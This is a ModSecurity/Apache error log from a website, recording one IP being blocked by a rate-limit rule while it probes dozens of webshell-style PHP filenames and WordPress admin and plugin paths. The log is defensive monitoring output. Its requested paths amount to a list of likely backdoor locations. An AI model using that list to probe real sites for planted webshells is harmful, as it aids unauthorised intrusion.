[Sat Apr 18 04:45:25.190463 2026] [:error] [pid 9970:tid 9987] [client 51.120.90.220:27530] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "aeKb5SYdRLRhVmaIMx2XWQAAAM0"]
[Sat Apr 18 04:45:25.753900 2026] [:error] [pid 9970:tid 9985] [client 51.120.90.220:27615] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aeKb5SYdRLRhVmaIMx2XXAAAAMs"]
[Sat Apr 18 04:45:26.295309 2026] [:error] [pid 9865:tid 9941] [client 51.120.90.220:27619] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aeKb5qzb5knECIY-C-iFuQAAAIQ"]
[Sat Apr 18 04:45:26.956670 2026] [:error] [pid 9863:tid 9883] [client 51.120.90.220:21102] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aeKb5jjjiypiFrTucbL3oQAAAAo"]
[Sat Apr 18 04:45:27.495742 2026] [:error] [pid 9863:tid 9890] [client 51.120.90.220:27533] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aeKb5zjjiypiFrTucbL3pAAAABE"]
[Sat Apr 18 04:45:28.098358 2026] [:error] [pid 9864:tid 9917] [client 51.120.90.220:27565] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccs.php"] [unique_id "aeKb6ICFeowknfXHM7kbeAAAAEs"]
[Sat Apr 18 04:45:28.671995 2026] [:error] [pid 9970:tid 9993] [client 51.120.90.220:21101] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccs.php"] [unique_id "aeKb6CYdRLRhVmaIMx2XZwAAANM"]
[Sat Apr 18 04:45:29.210758 2026] [:error] [pid 9970:tid 9979] [client 51.120.90.220:27577] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccs.php"] [unique_id "aeKb6SYdRLRhVmaIMx2XawAAAMU"]
[Sat Apr 18 04:45:29.788481 2026] [:error] [pid 9865:tid 9950] [client 51.120.90.220:21104] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccs.php"] [unique_id "aeKb6azb5knECIY-C-iFvgAAAI0"]
[Sat Apr 18 04:45:30.310801 2026] [:error] [pid 9864:tid 9923] [client 51.120.90.220:27583] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboutc.php"] [unique_id "aeKb6oCFeowknfXHM7kbfQAAAFE"]
[Sat Apr 18 04:45:30.995811 2026] [:error] [pid 9864:tid 9912] [client 51.120.90.220:21072] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboutc.php"] [unique_id "aeKb6oCFeowknfXHM7kbfgAAAEY"]
[Sat Apr 18 04:45:31.628553 2026] [:error] [pid 9864:tid 9918] [client 51.120.90.220:27636] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboutc.php"] [unique_id "aeKb64CFeowknfXHM7kbgAAAAEw"]
[Sat Apr 18 04:45:32.184650 2026] [:error] [pid 9864:tid 9928] [client 51.120.90.220:27561] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboutc.php"] [unique_id "aeKb7ICFeowknfXHM7kbggAAAFY"]
[Sat Apr 18 04:45:32.715942 2026] [:error] [pid 9970:tid 9980] [client 51.120.90.220:27574] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aeKb7CYdRLRhVmaIMx2XdAAAAMY"]
[Sat Apr 18 04:45:33.273856 2026] [:error] [pid 9970:tid 9993] [client 51.120.90.220:21009] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aeKb7SYdRLRhVmaIMx2XdwAAANM"]
[Sat Apr 18 04:45:33.842336 2026] [:error] [pid 9970:tid 9994] [client 51.120.90.220:21062] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aeKb7SYdRLRhVmaIMx2XewAAANQ"]
[Sat Apr 18 04:45:34.387332 2026] [:error] [pid 9864:tid 9924] [client 51.120.90.220:27601] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aeKb7oCFeowknfXHM7kbhAAAAFI"]
[Sat Apr 18 04:45:34.907873 2026] [:error] [pid 9970:tid 9991] [client 51.120.90.220:27552] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "aeKb7iYdRLRhVmaIMx2XgAAAANE"]
[Sat Apr 18 04:45:35.477913 2026] [:error] [pid 9970:tid 9984] [client 51.120.90.220:21059] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "aeKb7yYdRLRhVmaIMx2XggAAAMo"]
[Sat Apr 18 04:45:36.011224 2026] [:error] [pid 9970:tid 9981] [client 51.120.90.220:21090] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "aeKb8CYdRLRhVmaIMx2XhQAAAMc"]
[Sat Apr 18 04:45:36.608379 2026] [:error] [pid 9863:tid 9887] [client 51.120.90.220:21057] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "aeKb8DjjiypiFrTucbL3rQAAAA4"]
[Sat Apr 18 04:45:37.278652 2026] [:error] [pid 9864:tid 9918] [client 51.120.90.220:27613] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeKb8YCFeowknfXHM7kbjAAAAEw"]
[Sat Apr 18 04:45:38.035091 2026] [:error] [pid 9864:tid 9920] [client 51.120.90.220:21004] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeKb8oCFeowknfXHM7kbkAAAAE4"]
[Sat Apr 18 04:45:38.663817 2026] [:error] [pid 9863:tid 9873] [client 51.120.90.220:21071] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeKb8jjjiypiFrTucbL3tAAAAAA"]
[Sat Apr 18 04:45:39.203072 2026] [:error] [pid 9970:tid 9980] [client 51.120.90.220:21063] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeKb8yYdRLRhVmaIMx2XhgAAAMY"]
[Sat Apr 18 04:45:39.734802 2026] [:error] [pid 9864:tid 9926] [client 51.120.90.220:21034] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws48.php"] [unique_id "aeKb84CFeowknfXHM7kbmQAAAFQ"]
[Sat Apr 18 04:45:40.269224 2026] [:error] [pid 9863:tid 9882] [client 51.120.90.220:21092] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws48.php"] [unique_id "aeKb9DjjiypiFrTucbL3uQAAAAk"]
[Sat Apr 18 04:45:40.853686 2026] [:error] [pid 9970:tid 9979] [client 51.120.90.220:27597] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws48.php"] [unique_id "aeKb9CYdRLRhVmaIMx2XjAAAAMU"]
[Sat Apr 18 04:45:41.388533 2026] [:error] [pid 9864:tid 9908] [client 51.120.90.220:27634] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws48.php"] [unique_id "aeKb9YCFeowknfXHM7kbmgAAAEM"]
[Sat Apr 18 04:45:42.002886 2026] [:error] [pid 9864:tid 9910] [client 51.120.90.220:27549] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aeKb9oCFeowknfXHM7kbnQAAAEU"]
[Sat Apr 18 04:45:42.567726 2026] [:error] [pid 9864:tid 9928] [client 51.120.90.220:21107] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aeKb9oCFeowknfXHM7kboQAAAFY"]
[Sat Apr 18 04:45:43.085395 2026] [:error] [pid 9864:tid 9914] [client 51.120.90.220:21024] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aeKb94CFeowknfXHM7kbpAAAAEg"]
[Sat Apr 18 04:45:43.642772 2026] [:error] [pid 9863:tid 9891] [client 51.120.90.220:27639] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aeKb9zjjiypiFrTucbL3zwAAABI"]
[Sat Apr 18 04:45:44.238827 2026] [:error] [pid 9863:tid 9883] [client 51.120.90.220:21003] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "aeKb-DjjiypiFrTucbL30QAAAAo"]
[Sat Apr 18 04:45:44.812434 2026] [:error] [pid 9970:tid 9984] [client 51.120.90.220:21064] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "aeKb-CYdRLRhVmaIMx2XkwAAAMo"]
[Sat Apr 18 04:45:45.388104 2026] [:error] [pid 9970:tid 9986] [client 51.120.90.220:27628] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "aeKb-SYdRLRhVmaIMx2XlAAAAMw"]
[Sat Apr 18 04:45:45.950768 2026] [:error] [pid 9970:tid 9987] [client 51.120.90.220:21080] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "aeKb-SYdRLRhVmaIMx2XlgAAAM0"]
[Sat Apr 18 04:45:46.524760 2026] [:error] [pid 9970:tid 9982] [client 51.120.90.220:27618] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "aeKb-iYdRLRhVmaIMx2XmAAAAMg"]
[Sat Apr 18 04:45:47.067457 2026] [:error] [pid 9863:tid 9894] [client 51.120.90.220:27564] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "aeKb-zjjiypiFrTucbL32wAAABU"]
[Sat Apr 18 04:45:47.677700 2026] [:error] [pid 9863:tid 9874] [client 51.120.90.220:27589] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "aeKb-zjjiypiFrTucbL33gAAAAE"]
[Sat Apr 18 04:45:48.218189 2026] [:error] [pid 9970:tid 9988] [client 51.120.90.220:20960] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "aeKb_CYdRLRhVmaIMx2XogAAAM4"]
[Sat Apr 18 04:45:48.785763 2026] [:error] [pid 9864:tid 9912] [client 51.120.90.220:21097] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aeKb_ICFeowknfXHM7kbqQAAAEY"]
[Sat Apr 18 04:45:49.314957 2026] [:error] [pid 9970:tid 9975] [client 51.120.90.220:21008] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aeKb_SYdRLRhVmaIMx2XpgAAAME"]
[Sat Apr 18 04:45:49.882317 2026] [:error] [pid 9970:tid 9989] [client 51.120.90.220:27610] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aeKb_SYdRLRhVmaIMx2XrAAAAM8"]
[Sat Apr 18 04:45:50.573332 2026] [:error] [pid 9863:tid 9892] [client 51.120.90.220:21085] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aeKb_jjjiypiFrTucbL35QAAABM"]
[Sat Apr 18 04:45:51.264850 2026] [:error] [pid 9970:tid 9980] [client 51.120.90.220:21116] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "aeKb_yYdRLRhVmaIMx2XswAAAMY"]
[Sat Apr 18 04:45:51.885290 2026] [:error] [pid 9864:tid 9910] [client 51.120.90.220:27645] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "aeKb_4CFeowknfXHM7kbqwAAAEU"]
[Sat Apr 18 04:45:52.576541 2026] [:error] [pid 9970:tid 9990] [client 51.120.90.220:21001] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "aeKcACYdRLRhVmaIMx2XvQAAANA"]
[Sat Apr 18 04:45:53.347826 2026] [:error] [pid 9970:tid 9994] [client 51.120.90.220:21070] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "aeKcASYdRLRhVmaIMx2XxAAAANQ"]
[Sat Apr 18 04:45:53.891225 2026] [:error] [pid 9970:tid 9978] [client 51.120.90.220:21113] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeKcASYdRLRhVmaIMx2XzAAAAMQ"]
[Sat Apr 18 04:45:54.426525 2026] [:error] [pid 9970:tid 9981] [client 51.120.90.220:27595] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeKcAiYdRLRhVmaIMx2X0gAAAMc"]
[Sat Apr 18 04:45:54.964839 2026] [:error] [pid 9864:tid 9919] [client 51.120.90.220:27567] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeKcAoCFeowknfXHM7kbrQAAAE0"]
[Sat Apr 18 04:45:55.546402 2026] [:error] [pid 9970:tid 9978] [client 51.120.90.220:21088] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeKcAyYdRLRhVmaIMx2X2gAAAMQ"]
[Sat Apr 18 04:45:56.124410 2026] [:error] [pid 9970:tid 9987] [client 51.120.90.220:21096] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aeKcBCYdRLRhVmaIMx2X3QAAAM0"]
[Sat Apr 18 04:45:56.945604 2026] [:error] [pid 9865:tid 9943] [client 51.120.90.220:21084] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aeKcBKzb5knECIY-C-iFyQAAAIY"]
